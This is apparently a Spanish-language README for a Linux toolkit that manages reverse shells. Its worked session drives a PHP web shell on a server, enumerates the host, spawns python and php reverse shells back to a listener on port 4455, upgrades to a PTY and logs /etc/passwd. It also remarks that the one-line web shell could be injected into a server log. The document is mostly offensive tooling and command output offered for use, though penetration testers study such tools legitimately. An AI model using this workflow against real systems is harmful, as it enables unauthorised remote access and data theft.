
Suite para el manejo de reverse shells orientada a trabajar dentro del shell nativo
Comienzo de un conjunto de herramientas linux para gestionar e interactuar con reverse shells (el código todavía está en un estado rápido y sucio, con poco manejo de excepciones). Con una fuerte inspiración en la filosofía UNIX, la idea básica es tener un daemon para manejar endpoints arbitrarios (connd, aunque todavía no es un daemon propiamente dicho, pero puede ejecutarse en una terminal separada) y ejecutar herramientas contra esos endpoints.
Los endpoints están 'impulsados' por un script o un proceso y se exponen como archivos en el sistema de archivos, y luego se puede usar un cliente de software ligero para interactuar con ellos, pero también se pueden escribir y leer fácilmente usando comandos de shell. De hecho, poder ejecutar los scripts de forma independiente desde el shell es un factor de diseño clave, donde idealmente, como máximo, un script dependerá de que exista un endpoint, pero también se pueden usar en combinación (en cascada unos con otros).
Las opciones actuales de endpoints son:
El cliente de software ligero (hthinc.py) proporciona una interfaz básica con el endpoint del sistema, así como la ejecución rápida de scripts contra el sistema. Se han escrito varios scripts básicos pero útiles:
Los tipos de drivers de reverse shell (es decir, lo que impulsa el shell en el sistema remoto) son los siguientes (actualmente con soporte para linux):
Otros scripts:
Indícale a connd que inicie un endpoint, usando un driver de wedge shell contra el script php proporcionado, que realiza llamadas al sistema con respuesta formateada. Sin embargo, este script de una sola línea podría haber sido inyectado como código en un registro del servidor con la misma facilidad.
$ hconnd.py start wsh http://example.com/hwsh.php
1
Esto ha creado el endpoint 1 (dos tuberías de E/S -- puedes verlas como t1i y t1o en el subdirectorio run). Así que ahora usamos hthinc.py para interactuar con el shell.
$ hthinc.py 1
<harmonic> thinc
runik@hwsh:example.com /var/www/public_html $ whoami
www-data
% 0
runik@hwsh:example.com /var/www/public_html $ uname -a
Linux green 4.4.0-83-generic #106-Ubuntu SMP Mon Jun 26 17:54:43 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
% 0
Sabemos que es una máquina Linux. Queremos alejarnos de una web shell atascada y obtener un shell adecuado. Ejecutar el comando incorporado !help proporciona el mensaje de ayuda de thinc. Podemos ejecutar un script sp que automáticamente ejecutará comandos contra el sistema remoto, enumerando el entorno, iniciará un endpoint nc, generará una reverse shell y entrará automáticamente a través de una nueva instancia de hthinc.py:
runik@hwsh:example.com /var/www/public_html $ !run sp LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
O si sabemos que estamos usando (por ejemplo) PHP como driver, podemos especificarlo:
runik@hwsh:example.com /var/www/public_html $ !run sp DRIVER=php LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Generating php reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
Y digamos que tenemos un shell sin TTY o queremos escapar, podemos ejecutar una de las macros predeterminadas:
$ tty
no tty
$ !run mac pty
[email protected]:/var/www/html/$
Además, si queremos registrar la salida de un comando, podemos usar el script log, que la guardará en el directorio de trabajo actual:
$ !run log cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
df12:x:1000:1000::/home/df12:/bin/zsh
[+] Saved to /home/examples/10.0.2.12/post/cat__etc_passwd_0
Mientras los endpoints están en ejecución, puedes conectar/desconectar clientes, ya que los procesos de conexión son gestionados por el daemon
Debido a que todo puede ejecutarse de una manera más unixy, podemos repetir procesos rápidamente desde el shell. Iniciamos un endpoint de webshell, obtenemos el ID del endpoint y luego, desde el shell, ejecutamos el script generador sp.py contra el endpoint (es el mismo script que se usa en hthinc.py pero con un punto de entrada diferente).
$ hconn.py start wsh http://example.com/hwsh.php
1
$ hscr.py 1 sp 4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
o como una línea:
$ hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
y automatizar fácilmente:
$ cat reverse.sh
#!/bin/bash
hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
$ ./reverse.sh
<harmonic> basic shell spawner
[+] Running enumeration...
...
$
La herramienta hcmd.py te permite ejecutar rápidamente un comando a través de un endpoint desde tu shell
$ hcmd.py 2 uname -a
Linux kali 4.12.0-kali1-amd64 #1 SMP Debian 4.12.6-1kali6 (2017-08-30) x86_64 GNU/Linux
y canalizar o redirigir los resultados como de costumbre